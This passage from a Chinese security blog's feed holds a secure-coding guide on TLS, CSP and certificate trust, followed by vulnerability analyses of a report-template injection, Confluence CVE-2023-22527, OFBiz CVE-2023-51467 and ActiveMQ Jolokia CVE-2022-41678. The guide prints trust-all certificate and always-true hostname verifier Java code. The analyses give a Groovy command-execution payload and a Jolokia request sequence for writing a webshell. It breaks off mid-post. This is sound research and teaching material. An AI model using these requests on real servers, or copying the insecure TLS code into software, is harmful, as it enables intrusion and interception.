<p><strong>修复建议:</strong></p> <ol> <li>升级到TLSv1.2或TLSv1.3:确保所有加密通信使用TLSv1.2或更高版本。这些版本修复了之前版本的安全漏洞,并提供了更强的安全保证。</li> <li>配置服务器和客户端:在服务器和客户端配置中禁用SSLv2、SSLv3、TLSv1.0和TLSv1.1。确保只接受安全的协议版本。</li> <li>定期更新和打补丁:定期更新操作系统、应用程序和库,以包括对SSL/TLS协议的最新安全补丁和改进。</li> <li>加密策略审查和更新:定期审查加密策略和配置,确保它们符合最新的行业最佳实践和合规要求。</li> <li>使用安全的密码套件:除了升级协议版本外,还应使用安全的密码套件,避免使用已被破解的或被认为是弱密码套件。</li> </ol> <p>例如如下代码使用了安全的TLSv1.2作为传输协议:</p> <pre><code>public class SecureSSLExample { public static void main(String[] args) throws Exception { SSLContext context = SSLContext.getInstance("TLSv1.2"); // 使用TLSv1.2 context.init(null, null, null); SSLSocketFactory factory = context.getSocketFactory(); SSLSocket socket = (SSLSocket) factory.createSocket("example.com", 443); // 安全的连接示例 } } </code></pre> <h2>未配置内容安全策略CSP</h2> <p><strong>问题描述:</strong> 内容安全策略(Content Security Policy, CSP)是一种安全标准,用于预防跨站脚本(XSS)攻击和其他一些注入类型的攻击。CSP通过白名单控制哪些资源可以被浏览器加载和执行,以此提高网站的安全性。未配置CSP或配置不当的CSP可以让网站易受XSS攻击,攻击者可以注入恶意脚本,窃取敏感数据、篡改页面内容或进行其他恶意活动。未配置CSP的网站没有利用浏览器提供的这一额外安全层保护,使其更容易受到前端攻击。 <strong>修复建议:</strong></p> <ol> <li>启用并正确配置CSP:通过HTTP响应头Content-Security-Policy启用CSP,并严格限制脚本来源、样式、图片、字体、表单目标和其他资源的加载。确保仅允许从可信来源加载资源。</li> <li>避免使用unsafe-inline和unsafe-eval指令:这些指令允许行内脚本和eval执行,降低CSP的效果。尽量避免使用它们,以提高政策的效果。</li> <li>定期审查和更新CSP:随着应用程序的发展,定期审查和更新CSP规则,以确保它们仍然有效并且符合当前的内容安全需求。</li> <li>使用报告机制:在CSP中使用report-uri或report-to指令,将违反政策的报告发送到服务器。这有助于识别可能的攻击和配置错误。</li> <li>进行彻底的测试:在部署CSP之前,对网站进行彻底的测试,确保策略不会阻断合法资源的加载,影响网站功能。</li> </ol> <h2>服务器身份验证关闭</h2> <p><strong>问题描述:</strong> 在SSL/TLS连接中,服务器身份验证是确保客户端与真正的服务器进行通信的关键步骤。这一过程通常涉及验证服务器提供的SSL/TLS证书,确保其由受信任的证书颁发机构(CA)签发,且与所请求的服务器域名匹配。如果服务器身份验证被禁用,客户端可能会无法确认其正在与预期的服务器进行安全通信,这可能导致中间人攻击(MITM),攻击者可以拦截、修改或重定向数据传输。 例如如下代码通过自定义verify方法来关闭身份验证:</p> <pre><code>public class InsecureConnection { public static void main(String[] args) throws Exception { HttpsURLConnection connection = (HttpsURLConnection) new URL("https://example.com").openConnection(); connection.setHostnameVerifier(new HostnameVerifier() { @Override public boolean verify(String hostname, SSLSession session) { return true; // 不安全,因为它不进行任何验证 } }); trustAllHttpsCertificates(connection); // 假设这个方法使连接信任所有证书 } private static void trustAllHttpsCertificates(HttpsURLConnection conn) { // 实现细节假设,信任所有证书的逻辑 } </code></pre> <p><strong>修复建议:</strong></p> <ol> <li>始终启用服务器身份验证:在SSL/TLS连接中,确保总是进行服务器身份验证。不应有任何情况下禁用此功能。</li> <li>使用正确配置的SSL/TLS证书:使用由受信任CA签发的证书,并确保证书中包含正确的服务器名称(即服务器的域名)。</li> <li>检查证书撤销状态:在接受证书之前,检查其是否被颁发机构撤销。这可以通过在线证书状态协议(OCSP)或证书撤销列表(CRL)来完成。</li> <li>强制证书链验证:确保SSL/TLS库或使用的框架验证证书链的所有部分,直到根证书。</li> <li>使用安全编程实践:在编写用于建立SSL/TLS连接的代码时,使用安全库和遵循最佳实践,确保不会因配置错误而禁用安全功能。</li> </ol> <h2>过于宽泛的证书信任</h2> <p><strong>问题描述:</strong> 在SSL/TLS连接中,过于宽泛的证书信任指的是应用程序配置为信任广泛范围内的证书,包括那些不应被信任的证书。例如,一个应用程序可能配置为信任任何由特定国家的证书颁发机构(CA)签发的证书,或者不正确地配置为信任所有自签名的证书。这种宽泛的信任策略会降低应用程序的安全性,使其容易受到中间人攻击(MITM),在这种攻击中,攻击者可以使用无效或未经验证的证书来拦截或篡改加密的通信。 例如如下代码信任所有的证书:</p> <pre><code>public class InsecureTrustManager { public static void main(String[] args) throws Exception { SSLContext sc = SSLContext.getInstance("TLS"); TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { public java.security.cert.X509Certificate[] getAcceptedIssuers() { return null; } public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) { } public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) { } } }; sc.init(null, trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); // 这种做法非常不安全,因为它信任所有证书 } } </code></pre> <p><strong>修复建议:</strong></p> <ol> <li>使用受信任的CA列表:应用程序应仅信任由已知可靠的证书颁发机构签发的证书。这可以通过配置服务器或客户端应用程序使用包含这些受信任CA的列表来实现。</li> <li>验证证书链:确保应用程序在建立SSL/TLS连接时验证整个证书链,包括根证书和所有中间证书。</li> <li>证书固定(Certificate Pinning):通过证书固定,应用程序只信任预设(或固定)的一个或多个特定证书或公钥。这可以有效防止信任被恶意或错误颁发的证书。</li> <li>禁用自签名证书的信任:除非在特定的、受控的环境中(如内部测试环境),否则不应信任自签名证书。</li> <li>定期更新信任存储:定期更新包含受信任证书颁发机构的信任存储,以包括新的CA和剔除已不再安全或已被撤销的CA。</li> </ol> <p>例如如下代码使用系统默认的信任管理器:</p> <pre><code>public class SecureTrustManager { public static void main(String[] args) throws Exception { SSLContext sc = SSLContext.getInstance("TLS"); sc.init(null, null, new java.security.SecureRandom()); // 使用系统默认的信任管理器 HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); // 使用系统默认的信任管理器可以确保只信任由受信任CA签发的证书 } } </code></pre> <h1>其他</h1> <h3>弱随机性</h3> <p><strong>问题描述:</strong> 弱随机性问题发生在软件系统使用了不够强大的随机数生成器(RNG),尤其是在安全相关的上下文中,如生成会话标识符、密码或加密密钥时。使用弱随机数生成器产生的值可能容易被预测,从而使得系统容易受到攻击,如重放攻击、会话劫持和其他基于预测随机数的攻击。这类问题尤其在使用标准的数学函数库生成“伪随机数”时显著,这些随机数实际上是可以被预测的,特别是如果攻击者知道了生成算法和用于种子的初始值。 <strong>修复建议:</strong></p> <ol> <li>使用密码学安全的随机数生成器(CSPRNG):选择一种专为安全目的设计的随机数生成器,如Java中的SecureRandom类,而不是简单的Random类。</li> <li>定期更换随机数生成器的种子:在可能的情况下,定期更新随机数生成器的种子值,尤其是在检测到可能的安全事件后。</li> <li>避免自定义随机数生成算法:尽可能使用经过验证的库和函数,避免自定义算法,因为这些可能会有未被发现的弱点。</li> <li>增加随机性:对于要求较高的安全应用,可以考虑结合多个随机源来增加随机性。</li> <li>进行安全评估:定期对使用的随机数生成策略进行安全评估,确保其仍能满足当前的安全需求。</li> </ol> <h3>Spring默认配置不当</h3> <p><strong>问题描述:</strong> 在使用Spring Boot和相关安全框架时,management.security.enabled配置负责开启或关闭对管理端点的安全性控制。如果该配置设置不当,可能会导致敏感的管理端点(如metrics, health, info等)暴露给未授权的用户。例如,将management.security.enabled设置为false会关闭所有管理端点的安全控制,使得任何人都能访问这些端点,这可能导致敏感信息泄露或被恶意利用。 <strong>修复建议:</strong></p> <ol> <li>默认启用安全性控制:始终确保management.security.enabled配置项默认为true,以便所有管理端点都受到安全性控制。</li> <li>明确授权访问:使用角色和权限控制来确保只有授权的用户可以访问管理端点。这可以通过Spring Security或相应的安全框架来实现。</li> <li>限制网络访问:通过网络配置,例如防火墙或安全组,限制对管理端点的访问,确保只有可信的内部网络可以访问这些端点。</li> <li>使用多层安全防护:结合使用多种安全措施,如身份验证、授权、日志记录和监控,来增强对管理端点的保护。</li> <li>定期审查和更新配置:随着应用和安全需求的变化,定期审查和更新相关的安全配置。</li> </ol> 某报表模板注入https://springkill.github.io/posts/%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/https://springkill.github.io/posts/%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/Tue, 23 Jul 2024 00:00:00 GMT<p>这次公布的漏洞说是SQL注入,实际上是一个模板注入。</p> <p>在产品中存在一个名为<code>TemplateUtils</code> 的类,这个类用来处理表达式相关的内容。</p> <p>传进来的表达式会进入<code>render</code>方法进行渲染:</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240723224905849-1726106018720-2.png" alt="image-20240723224905849" /></p> <p>进去看模板参数渲染使用的方法<code>renderParameter4Tpl</code> ,其中一直在调用同名方法<code>render</code> ,最开始传入了一个新的<code>Calculator</code> :</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240723225237830.png" alt="image-20240723225237830" /></p> <p>中间有一个<code>evalRenderAction</code> 指定了<code>RenderAction</code>,其他的信息不太重要,往后看:</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240723232033511.png" alt="image-20240723232033511" /></p> <p>进到最后一个<code>renderTpl</code>后看到了解析表达式的位置,通过<code>ParameterProvider.PARAMETERPATTERN</code>进行解析,然后就会获得表达式中的内容。</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240723225516954.png" alt="image-20240723225516954" /></p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240723225420954.png" alt="image-20240723225420954" /></p> <p>经过处理后这里就会取出<code>${}</code>中的内容,然后送到下面用前面传入的<code>RenderAction</code>进行渲染:</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240723230757983.png" alt="image-20240723230757983" /></p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240723230545758.png" alt="image-20240723230545758" /></p> <p>调用<code>var2.render</code>自然也就是前面传进来的<code>evalRenderAction</code> 了:</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240723231732934.png" alt="image-20240723231732934" /></p> <p>继续往下,会走到<code>evalString</code> ,在这里,会将传入的内容转换为<code>Expression</code></p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240723233046321.png" alt="image-20240723233046321" /></p> <p>然后跟入这个<code>eval</code>,发现了下一个<code>eval</code>,这里就是前面的<code>Calculator</code>下的方法了:</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240723233646180.png" alt="image-20240723233646180" /></p> <p>接下来会去调用下一个<code>eval</code> ,这里就是前面表达式的<code>eval</code> ,实际调用的是<code>RelationExpression</code> 父类<code>BinaryExpression</code> 的<code>eval</code> :</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240724002636625.png" alt="image-20240724002636625" /></p> <p>然后就是是调用下一个<code>Node</code> 的<code>eval</code>方法,这里的<code>eval</code>是使用索引进行检测的,实际是获取表达式<code>=</code> 右边的内容,如果是函数的话就是<code>FunctionCall</code>:</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240724002924552.png" alt="image-20240724002924552" /></p> <p><code>FunctionCall.eval</code>方法会去调用<code>resolveMethod</code>,这也是这个漏洞的关键:</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240724003555779.png" alt="image-20240724003555779" /></p> <p><code>resolveMethod</code> 最终会获取一个命名空间然后调用<code>getMethod</code> :</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240724003707923.png" alt="image-20240724003707923" /></p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240724003842295.png" alt="image-20240724003842295" /></p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240724003943915.png" alt="image-20240724003943915" /></p> <p>到了函数调用,也就是漏洞发生的地方,存在<code>getMethod</code> 相关的实现类中<code>DefaultNameSpace</code> 类的<code>getMethod</code> 这里通过传入的内容去加载类:</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240724004715865.png" alt="" /></p> <p>实际会去调用<code>com.fr.function.xxx</code>,这个包里面有很多函数可以调,返回后去调用<code>evalExpression</code> :</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240724005229688.png" alt="image-20240724005229688" /></p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240724005158851.png" alt="image-20240724005158851" /></p> <p>网传为<code>SQL</code>,看下<code>SQL</code> 类,应该不用多说了吧:</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240724005341582.png" alt="image-20240724005341582" /></p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240724005009251.png" alt="image-20240724005009251" /></p> <p>至于入口:<img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/image-20240724013008799.png" alt="image-20240724013008799" /></p> <p>其实可玩性还是挺高的,也不一定非要用SQL的形式去做POC来检测。</p> <p>现已加入豪华检测套餐:</p> <p><img src="./%E6%9F%90%E6%8A%A5%E8%A1%A8%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/_cgi-bin_mmwebwx-bin_webwxgetmsgimg__&amp;MsgID=3531227235581003473&amp;skey=@crypt_b66086c6_d8eb79eaffcfe4864f2fea67418cc0b0&amp;mmweb_appid=wx_webfilehelper.jpeg" alt="" /></p> (CVE-2023-22527)Atlassian Confluence - Remote Code Executionhttps://springkill.github.io/posts/cve-2023-22527-atlassian-confluence-remote-code-execution/https://springkill.github.io/posts/cve-2023-22527-atlassian-confluence-remote-code-execution/Tue, 23 Jan 2024 00:00:00 GMT<h2>漏洞描述</h2> <p>Atlassian Confluence 存在模板注入代码执行漏洞,攻击者可构造恶意请求触发模板注入进而造成远程命令执行。</p> <h2>影响版本</h2> <p>停止更新的各个版本以及: 8.4.0 &lt;= Confluence Data Center and Server &lt;= 8.4.4 8.5.0 &lt;= Confluence Data Center and Server &lt;= 8.5.3 8.6.0 &lt;= Confluence Data Center &lt;= 8.6.1</p> <h2>漏洞分析</h2> <p>还是老样子,diff一下代码发现confluence的一些修改,有一个删除了的文件引起注意: <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123001830674.png" alt="" /> 删除了: <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123001835407.png" alt="" /> ConfluenceStrutsUtil继承自VelocityStrutsUtil: <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123001841567.png" alt="" /> VelocityStrutsUtil又继承自StrutsUtil,看到这里推测velocity模板注入。 具体应该和前几次有几分相似,velocity解析导致的<code>ognl</code>表达式执行,于是可以去看vm文件。 再看vm文件的时候,犯了一个很大的错误,我在重置密码这里看了好久,但是始终是没有结果,它是从action里面读取的变量,所以应该不存在漏洞了,通过vm文件进行访问的时候并不能设置这个值。 <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123001846042.png" alt="" /> 又正值年终总结正好很忙,于是就暂且搁置。 后来发现GitHub上多了一个项目<a href="https://github.com/Sudistark/patch-diff-CVE-2023-22527">https://github.com/Sudistark/patch-diff-CVE-2023-22527</a>,里面有所有vm的信息,于是就是直接搜一下: <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123001849425.png" alt="" /> 于是我尝试一些其他接口,但是都是一无所获,这期间想让Z3教我,得到的回复是: <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123002426058.png" alt="" /> 最后在<code>text-inline.vm</code>中会调用到findvalue方法从而造成表达式的执行: <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123001855784.png" alt="" /> 试一下经典poc: <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123001859143.png" alt="" /> 在StrutsUtil里面果然是找到了这个内容,太长了分开截: <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123001903997.png" alt="" /> <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123001922941.png" alt="" /> 后面就会按照模板定义的走到<code>findvalue</code>: <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123001946487.png" alt="" /> <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123001953026.png" alt="" /> <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123002000159.png" alt="" /> 到这里就执行了: <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123002018309.png" alt="" /> 然后通过getText方法取值,这里发现已经计算完毕了: <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123002022472.png" alt="" /> 那么这也就通过velocity造成了Ognl表达式执行漏洞。</p> <h2>关于RCE</h2> <p>这块可是焦头烂额,尝试构造了几个都没成功执行命令(弹计算器),直到今天看到P牛的vulhub更新了,才想起用回显,这里放下vulhub链接,就不照抄了。 <a href="https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2023-22527">https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2023-22527</a> <img src="./CVE-2023-22527-Atlassian-Confluence-Remote-Code-Execution/image-20240123002026504.png" alt="" /></p> CVE-2023-51467 Apache OFBiz: Pre-authentication Remote Code Execution (RCE) vulnerabilityhttps://springkill.github.io/posts/cve-2023-51467--apache-ofbiz_-pre-authentication-remote-code-execution-rce-vulnerability/https://springkill.github.io/posts/cve-2023-51467--apache-ofbiz_-pre-authentication-remote-code-execution-rce-vulnerability/Sat, 30 Dec 2023 00:00:00 GMT<h2>漏洞描述</h2> <p>因为前面爆出的OFBiz漏洞中的权限绕过并没有被修复,所以导致了这次的漏洞,通过外部调用groovy并且绕过黑名单达到RCE。</p> <h2>漏洞分析</h2> <p>漏洞的位置很简单也很明了: ![](./CVE-2023-51467 Apache OFBiz_ Pre-authentication Remote Code Execution (RCE) vulnerability/1703677648017-9c965b63-048d-4fcd-84b9-3483ba12e5f6.png) 关键就是我们如何找到一个入口,传入这个expression呢,那么恰好后台有这么个功能可以进行表达式的传入: ![image.png](./CVE-2023-51467 Apache OFBiz_ Pre-authentication Remote Code Execution (RCE) vulnerability/1703860971243-0a974dea-3881-4e2c-92ad-4456215d3727.png) 查看controller.xml可以知道,这里的类型是一个视图,所以我们直接去看视图的配置: ![image.png](./CVE-2023-51467 Apache OFBiz_ Pre-authentication Remote Code Execution (RCE) vulnerability/1703861056964-b99df67d-ba47-4dd6-ad11-118e8558f8ef.png) 定位到这么一个文件,去看一下里面的详细信息,接受值的内容如下,后面就是调用shell执行groovy了,就不截图了: ![image.png](./CVE-2023-51467 Apache OFBiz_ Pre-authentication Remote Code Execution (RCE) vulnerability/1703861146878-be5b83b6-6c3b-4c36-b5a7-e4b67b6ee6b5.png) 最后的执行效果如下: ![image.png](./CVE-2023-51467 Apache OFBiz_ Pre-authentication Remote Code Execution (RCE) vulnerability/1703782220217-31942f51-a016-4532-908e-0263a7d1d344.png) 其实发现这个漏洞最开始并不是配置文件来的,web界面中有个功能就叫<code>可编程导出</code>,就是这个url,同时参数也是这个参数,通过没有修复的鉴权来绕过登录直接去执行命令。 传入的值为:<code>groovyProgram=println+%22calc%22.execute%28%29.text</code>,并没有什么特殊的技术含量,只是执行了execute而已。</p> CVE-2022-41678 Apache ActiveMQ Jolokia RCEhttps://springkill.github.io/posts/cve-2022-41678-apache-activemq-jolokia-rce/https://springkill.github.io/posts/cve-2022-41678-apache-activemq-jolokia-rce/Fri, 01 Dec 2023 00:00:00 GMT<p>ActiveMQ的漏洞最近也有几个,但是因为我已经看到有师傅分析了自己也就没细看,想着后面学一下思路,但是后来就忘了这档子事了,正好昨天又公布了这个去年的老洞,就一口气都写一个学习笔记罢了。(主要是activemq这个产品并没有整体学一遍,正好也简单学一学。 此外,对于漏洞官方的细节非常详尽,请看<a href="https://activemq.apache.org/security-advisories.data/CVE-2022-41678-announcement.txt">这里</a>。</p> <h2>影响版本</h2> <p><code>Apache ActiveMQ</code> &lt; 5.16.6 5.17.0 &lt; <code>Apache ActiveMQ</code> &lt; 5.17.4</p> <h2>前置知识</h2> <p>在<code>Apache ActiveMQ</code>中使用<code>Jolokia API</code>时,客户端发送的<code>JSON</code>请求格式依赖于你想执行的具体操作。<code>Jolokia</code>支持多种操作,包括读取<code>MBean</code>属性、执行<code>MBean</code>操作、写入<code>MBean</code>属性等。 下面介绍<code>jolokia</code>中的一些基本操作。</p> <h3>读取 MBean 属性</h3> <pre><code>{ "type": "read", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "attribute": "TotalProducerCount" } </code></pre> <p>![image-20231201003335267](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003335267.png)</p> <h3>执行 MBean 操作</h3> <pre><code>{ "type": "exec", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "operation": "addQueue", "arguments": ["TestQueue"] } </code></pre> <p>![image-20231201003342466](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003342466.png)</p> <h3>写入 MBean 属性</h3> <pre><code>{ "type": "write", "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", "attribute": "SomeAttribute", "value": "NewValue" } </code></pre> <p>![image-20231201003345836](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003345836.png)</p> <h3>获取所有 MBeans 的列表</h3> <pre><code>{ "type": "list" } </code></pre> <p>![image-20231201003348573](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003348573.png) 好了有了以上内容就足够我们分析本次漏洞了。</p> <h2>漏洞分析</h2> <p>阿里云的情报都说了是<code>Jolokia</code>出的漏洞,自然也就直接diff看一下修复(真不是因为我懒 这里就不得不说千万别下5.17,直接用5.16相关版本,环境大坑,我弄了很久。 ![image-20231201003358698](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003358698.png) 首先通过<code>web.xml</code>定位到<code>jolokia</code>的路径和其使用的<code>servlet</code>。 先分析一下<code>org.jolokia.http.AgentServlet</code>中的内容: ![image-20231201003403085](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003403085.png) ![image-20231201003406901](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003406901.png) 这里判断了如果你的<code>Origin</code>不符合条件,那么就直接退出,所以访问的时候加上<code>Origin</code>头。 加上头之后就能成功访问这些东西了,也就是前面前置知识里那样。 通过了解前置知识我们知道了,通过<code>Jolikia</code>可以对<code>MBean</code>进行操作,<code>MBean</code>时<code>JMX</code>中的核心部分,通过<code>MBean</code>可以将JDK级别的服务以接口的方式对外暴露,提供很多功能。 在<code>Java11</code>中,新增了一个<code>MBean</code>:<code>jdk.management.jfr.FlightRecorderMXBeanImpl</code> 对于这个<code>MBean</code>官方也有详细的介绍,想看的师傅可以移步<a href="https://docs.oracle.com/en/java/javase/11/docs/api/jdk.management.jfr/jdk/management/jfr/FlightRecorderMXBean.html">FlightRecorderMXBean (Java SE 11 &amp; JDK 11 )</a>,我在这里就简单介绍一下。 newRecording方法用来创建一个新的记录,但是并不会启动它:</p> <pre><code>public long newRecording() { MBeanUtils.checkControl(); getRecorder(); // ensure notification listener is setup return AccessController.doPrivileged(new PrivilegedAction&lt;Recording&gt;() { @Override public Recording run() { return new Recording(); } }, null, new FlightRecorderPermission("accessFlightRecorder")).getId(); } </code></pre> <p>创建一个录制后并不会开始,要通过<code>startRecording</code>方法来启动这个录制,其中接受的参数就是前面返回的参数:</p> <pre><code>public void startRecording(long id) { MBeanUtils.checkControl(); getExistingRecording(id).start(); } </code></pre> <p>有启动自然也要停止,通过<code>stopRecording</code>方法停止录制:</p> <pre><code>public boolean stopRecording(long id) { MBeanUtils.checkControl(); return getExistingRecording(id).stop(); } </code></pre> <p>但是这个开始和结束并不能将<code>webshell</code>地内容放进去,所以我们还需要用<code>setConfiguration</code>将<code>webshell</code>的内容以配置的形式写入,那么配置从哪里来呢,就从<code>getConfigurations</code>来咯:</p> <pre><code>public List&lt;ConfigurationInfo&gt; getConfigurations() { MBeanUtils.checkMonitor(); return MBeanUtils.transformList(Configuration.getConfigurations(), ConfigurationInfo::new); } </code></pre> <p>copyTo这个方法用来将录制的内容写入指定的文件,也就是我们本次漏洞的最后一步,写入JSP</p> <pre><code>public void copyTo(long recording, String path) throws IOException { Objects.requireNonNull(path); MBeanUtils.checkControl(); getExistingRecording(recording).dump(Paths.get(path)); } </code></pre> <p>官方也写得很明白,在使用的时候这样写就行了: ![image-20231201003418727](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003418727.png) 那么利用方式也很清晰了:创建录制--设置配置--启动录制--结束录制--写入文件 至于录制的内容就是我们要写入的shell了。 那么就开始吧,首先新建一个录制,不需要接受参数,所以我也没加,返回值中的<code>value</code>就是<code>id</code>值:</p> <pre><code>{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"newRecording"} </code></pre> <p>![image-20231201003423284](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003423284.png) ![image-20231201003425810](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003425810.png) 然后获取配置,看看是什么样的,注意这里用<code>read</code>:</p> <pre><code>{"type":"read","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"getConfigurations"} </code></pre> <p>![image-20231201003429100](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003429100.png) ![image-20231201003432288](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003432288.png) 修改,加入<code>webshell</code>: ![image-20231201003437020](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003437020.png) 写入,根据方法接受的参数,第一个是<code>id</code>也就是那个1,第二个就是修改好的配置文件内容:</p> <pre><code>{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"setConfiguration","arguments": [1,"xml"]} </code></pre> <p>![image-20231201003440454](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003440454.png) ![image-20231201003443369](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003443369.png) 开始&amp;结束录制:</p> <pre><code>{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"startRecording","arguments": [1]} </code></pre> <pre><code>{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"stopRecording","arguments": [1]} </code></pre> <p>![image-20231201003446643](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003446643.png) ![image-20231201003449380](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003449380.png) ![image-20231201003452343](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003452343.png) ![image-20231201003455192](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003455192.png) 导出文件: ![image-20231201003457991](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003457991.png) ![image-20231201003500883](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003500883.png) 访问一下验证: ![image-20231201003504748](./CVE-2022-41678 Apache ActiveMQ Jolokia RCE/image-20231201003504748.png)</p> <h2>总结</h2> <p>感觉每次有一些底层的大更新有新特性的时候都会出一些安全问题,这次是<code>ActiveMQ 5.16.x</code>开始支持Java11,所以可以从这些方面入手,看看新特性能不能高些事情。 此外这个漏洞的利用方式不止JDK的<code>MBean</code>一种,还可以利用一些第三方的<code>MBean</code>来getshell,具体的方式就请师傅们自己研究下啦~</p> I DOC VIEW 前台RCEhttps://springkill.github.io/posts/i-doc-view-%E5%89%8D%E5%8F%B0rce/https://springkill.github.io/posts/i-doc-view-%E5%89%8D%E5%8F%B0rce/Fri, 24 Nov 2023 00:00:00 GMT<p>I DOC 